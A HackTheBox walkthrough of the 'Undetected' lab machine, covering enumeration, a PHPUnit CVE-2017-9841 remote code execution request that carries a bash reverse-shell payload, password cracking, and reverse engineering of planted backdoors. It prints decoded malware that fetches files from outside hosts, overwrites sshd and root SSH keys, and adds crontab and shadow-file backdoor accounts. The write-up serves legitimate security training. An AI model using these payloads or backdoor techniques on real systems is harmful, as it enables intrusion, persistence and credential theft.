HackTheBox: Undetected

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing Undetected involves a healthy amount of enumeration and forensics both before and after exploitation. Its post-exploitation stages familiarize the user with some moderately difficult reverse engineering. Gaining root access will require a good amount of persistence. MACHINE INFO ────────────────────────── MACHINE NAME: Undetected IP: 10.10.11.146 DIFFICULTY: Medium ────────────────────────── An Nmap of the target returns only two ports to look at. nmap ───────────────────────────────────────────────────────────────── nmap -sC -sV 10.10.11.146 Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-29 22:30 PDT Nmap scan report for 10.10.11.146 Host is up (0.11s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Diana's Jewelry ───────────────────────────────────────────────────────────────── Opening the website in a browser shows the home page but viewing most of the site will require an entry in /etc/hosts. Adding this can sometimes be worked around by accessing it directly via IP, but not when working with subdomains as this challenge does. /etc/hosts ───────────────────────────────────────────────── 10.10.11.146 djewelry.htb store.djewelry.htb ───────────────────────────────────────────────── Trying to open the cart shows a notice from the site administrator. http://store.djewelry.htb/cart.php ─────────────────────────────────────────────────────────────────────────────── Notice Due to a website migration, we are currently not taking any online orders. Contact us if you wish to make a purchase. ─────────────────────────────────────────────────────────────────────────────── It looks like there's no login system and viewing the page source shows that website is based on PHP, but unfortunately all of the input fields are non-functional as foreshadowed. This means an attack vector will have to be found elsewhere. Going back to enumerate with a Gobuster scan reveals a couple potentially interesting directories on the website, including /vendor, containing a number of .PHP files. gobuster ─────────────────────────────────────────────────────── gobuster -u http://store.djewelry.htb -w ./common.txt ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://store.djewelry.htb/ [+] Threads : 10 [+] Wordlist : ./common.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 10s ===================================================== 2022/06/30 13:57:58 Starting gobuster ===================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /css (Status: 301) /fonts (Status: 301) /images (Status: 301) /index.php (Status: 200) /js (Status: 301) /server-status (Status: 403) /vendor (Status: 301) ===================================================== 2022/06/30 13:58:52 Finished ===================================================== ─────────────────────────────────────────────────────── Based on the directory list, the server appears to be using Composer to manage its dependencies which provides a list of what is installed at http://store.djewelry.htb/vendor/composer/installed.json. http://store.djewelry.htb/vendor/ ───────────────────────────────────────────────────────────── Index of /vendor Name Last modified Size Description ─────────────────────────────────────────── Parent Directory autoload.php 2021-07-04 20:40 178 bin/ 2022-02-08 19:59 - composer/ 2022-02-08 19:59 - doctrine/ 2022-02-08 19:59 - myclabs/ 2022-02-08 19:59 - phpdocumentor/ 2022-02-08 19:59 - phpspec/ 2022-02-08 19:59 - phpunit/ 2022-02-08 19:59 - sebastian/ 2022-02-08 19:59 - symfony/ 2022-02-08 19:59 - webmozart/ 2022-02-08 19:59 - ─────────────────────────────────────────── Apache/2.4.41 (Ubuntu) Server at store.djewelry.htb Port 80 ───────────────────────────────────────────────────────────── One of these frameworks, PHPUnit, is vulnerable to a Remote Code Execution exploit, CVE-2017-9841, for which there is already a convenient POC. phpunit ─────────────────────────────── name: phpunit/phpunit version: "5.6.2" version_normalized: "5.6.2.0" ─────────────────────────────── To summarize, this CVE can be exploited by sending a malicious request to http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, and the server will execute any PHP code in the body of the request. For this, I’m using Burpsuite however, curl should be sufficient as well. Start Netcat listener, netcat ─────────────────────────── nc -nvlp 9000 Listening on 0.0.0.0 9000 ─────────────────────────── And send reverse shell code. burpsuite ─────────────────────────────────────────────────────────────────────────────── GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: store.djewelry.htb Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close < ?=exec("/bin/bash -c 'bash -i >& /dev/tcp/{YOUR IP}/9000 0>&1'")? > ─────────────────────────────────────────────────────────────────────────────── While there are a bunch of great scripts to automate this process, it can also be great to use the programs that are already installed to check for directories, cron jobs, accounts, software versions, processes, etc. There are a number of cron jobs on the machine, however the current user doesn't have access to any of the directories they're associated with. But, looking even further, there is a backup folder (/var/backups) on the machine and while it is owned by root, there is an interesting looking file owned by www-data that can be copied to further analyze. shell ───────────────────────────────────────────────────────── www-data@production:/var/backups$ ls -la ls -la total 36 drwxr-xr-x 2 root root 4096 Feb 8 19:59 . drwxr-xr-x 13 root root 4096 Feb 8 19:59 .. -r-x--x--x 1 www-data www-data 27296 May 14 2021 info ───────────────────────────────────────────────────────── And this seems to be the right way to go because upon opening the file in Radare2, there is an interesting string that appears to be obfuscated with hexadecimal and decodes to a shell command. The decoding can be done with CyberChef or a similar tool. decoded string ─────────────────────────────────────────────────────────────────────────────── wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvX oolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999 :7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home: $shell" >> /etc/passwd; done < users.txt; rm users.txt; ─────────────────────────────────────────────────────────────────────────────── That command sets a user password using a hash, which will have to be bruteforced. ─────────────────────────────────────────────────────────────────────────────── echo "$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WB M6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/" > hash john --wordlist=SecLists/Passwords/xato-net-10-million-passwords-1000000.txt ./hash Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 12 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ihatehackers (?) 1g 0:00:00:28 DONE (2022-07-02 20:28) 0.03460g/s 10310p/s 10310c/s 10310C/s invasio..houndog1 Use the "--show" option to display all of the cracked passwords reliably Session completed ─────────────────────────────────────────────────────────────────────────────── Now there is a password but no way to tell which user it is for. Reading /etc/passwd shows a number of potential accounts, however there are two in particular associated with /home/steven which are steven and steven1. And trying the password with both accounts reveals that it’s steven1’s password. With that, it is possible to read the user flag. shell ──────────────────────────────────────────────── su steven1 Password: steven@production:~$ cat /home/steven/user.txt ──────────────────────────────────────────────── Now, on to the root flag. Based on information from previous enumeration, the machine appears to be vulnerable to CVE-2021-4034 (PwnKit) as well as CVE-2021-3156 (Sudo Baron Sameedit), both of which could provide a quick and easy privilege escalation route. And, most HackTheBox machines seem to be vulnerable to these at the moment. But that’s boring, and not the intended route. Instead, some further investigation and reading out Steven’s mail reveals a message from the root user regarding Apache’s functionality. cat ─────────────────────────────────────────────────────────────────────────────── steven@production:~$ cat /var/mail/steven From root@production Sun, 25 Jul 2021 10:31:12 GMT Return-Path: Received: from production (localhost [127.0.0.1]) by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847 for ; Sun, 25 Jul 2021 10:31:12 GMT Received: (from root@localhost) by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847; Sun, 25 Jul 2021 10:31:12 GMT Date: Sun, 25 Jul 2021 10:31:12 GMT Message-Id: <202107251031.80FAcdZ171847@production> To: steven@production From: root@production Subject: Investigations Hi Steven. We recently updated the system but are still experiencing some strange behaviour with the Apache service. We have temporarily moved the web store and database to another server whilst investigations are underway. If for any reason you need access to the database or web application code, get in touch with Mark and he will generate a temporary password for you to authenticate to the temporary server. Thanks, sysadmin ─────────────────────────────────────────────────────────────────────────────── In the Apache modules folder (/lib/apache2/modules) which steven seems to have read-write access to, there’s one file that appears to have been modified on May 17, roughly 4 months after the rest of them were installed. ls ────────────────────────────────────────────────────────────── steven@production:/lib/apache2/modules$ ls -la ... -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_ratelimit.so -rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_reflector.so ... ────────────────────────────────────────────────────────────── Copying it to the local machine and analyzing it the same way reveals another, this time base64-encoded, command. radare2 ─────────────────────────────────────────────────────────────────────────────── [0x00001180]> iz [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― ... 3 0x00002028 0x00002028 148 149 .rodata ascii d2dldCBzaGFyZWZpbGVzLnh5ei9p bWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL 3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk ... ─────────────────────────────────────────────────────────────────────────────── Which decodes to decoded string ─────────────────────────────────────────────────────────────────────────────── wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd ─────────────────────────────────────────────────────────────────────────────── This command downloads an image off of a server and replaces sshd with it before setting the date of the new sshd to the date a2enmod was last modified, probably because they were installed at the same time. This means that the OpenSSH Daemon was likely modified at some point, which could provide more information. Again, copying sshd from /usr/sbin/sshd to the local machine and analyzing it in Radare shows an interesting variable in the modified functinon auth_password. Finding this could likely be done faster by taking a diff from an unmodified copy of the same version of sshd. radare2 ───────────────────────────────────────────────────────── [0x0000ef00]> afl | grep password 0x00010650 18 346 -> 339 dbg.auth_password 0x0002c500 8 313 dbg.mm_auth_password 0x00028c00 13 376 -> 375 dbg.mm_answer_authpassword [0x0000ef00]> s 0x10650 [0x00010650]> pdf ... ; var char[31] backdoor @ rbp-0x50 ───────────────────────────────────────────────────────── The rest of this could also, probably, be done in Radare but it was at this point that I got frustrated and opened this same function in Ghidra for its decompiler, after spending a lot of time trying to reverse this array, and this ended up saving a lot of time. ghidra ─────────────────────────────────────── backdoor._28_2_ = 0xa9f4; ... backdoor._24_4_ = 0xbcf0b5e3; backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; backdoor[30] = -0x5b; backdoor._0_4_ = 0xf0e7abd6; backdoor._4_4_ = 0xa4b3a3f3; backdoor._8_4_ = 0xf7bbfdc8; backdoor._12_4_ = 0xfdb3d6e7; ─────────────────────────────────────── Reordering and putting together the array gives another string to analyze with CyberChef. modified ghidra output ─────────────────────────────────────────────────────────────────────────────── backdoor[30] = -0x5b; (0xa5) # byte ptr [RSP + backdoor[30]],0xa5 backdoor._28_2_ = 0xa9f4; backdoor._24_4_ = 0xbcf0b5e3; backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; backdoor._12_4_ = 0xfdb3d6e7; backdoor._8_4_ = 0xf7bbfdc8; backdoor._4_4_ = 0xa4b3a3f3; backdoor._0_4_ = 0xf0e7abd6; 0xa50xa9f40xbcf0b5e30xb2d6f4a0fda0b3d60xfdb3d6e70xf7bbfdc80xa4b3a3f30xf0e7abd 6 ─────────────────────────────────────────────────────────────────────────────── Putting this directly into CyberChef to convert from hexadecimal doesn’t immediately seem to work, first it’s necessary to run it through the swap endianness function as it is a little-endian file, you can read more about that, href ("understanding big and little endian byte order). But this alone does not seem to solve the problem. Going back to Ghidra, the password is also being run through an XOR function. ghidra ───────────────────────────────────────────────────────────────────────────── LAB_001106d3 XREF[1]: 001106c7(j) 001106d3 83 f2 96 XOR EDX,0xffffff96 001106da 88 50 ff MOV byte ptr [RAX + backdoor[0]],DL *pbVar4 = bVar7 ^ 0x96; ───────────────────────────────────────────────────────────────────────────── Luckily, the key is not hard to find since it is not obfuscated in any way, and adding this to the CyberChef recipe will output a password for the root user. cyberchef recipe ──────────────────────────── Swap Endianness - Hex - 31 From Hex - Auto XOR - 0x96 - Standard ──────────────────────────── ssh ────────────────────────────────────────────────────── ssh 10.10.11.146 -l root root@10.10.11.146's password: Last login: Sun Jul 3 16:03:08 2022 from 10.10.14.7 root@production:~# cat root.txt ──────────────────────────────────────────────────────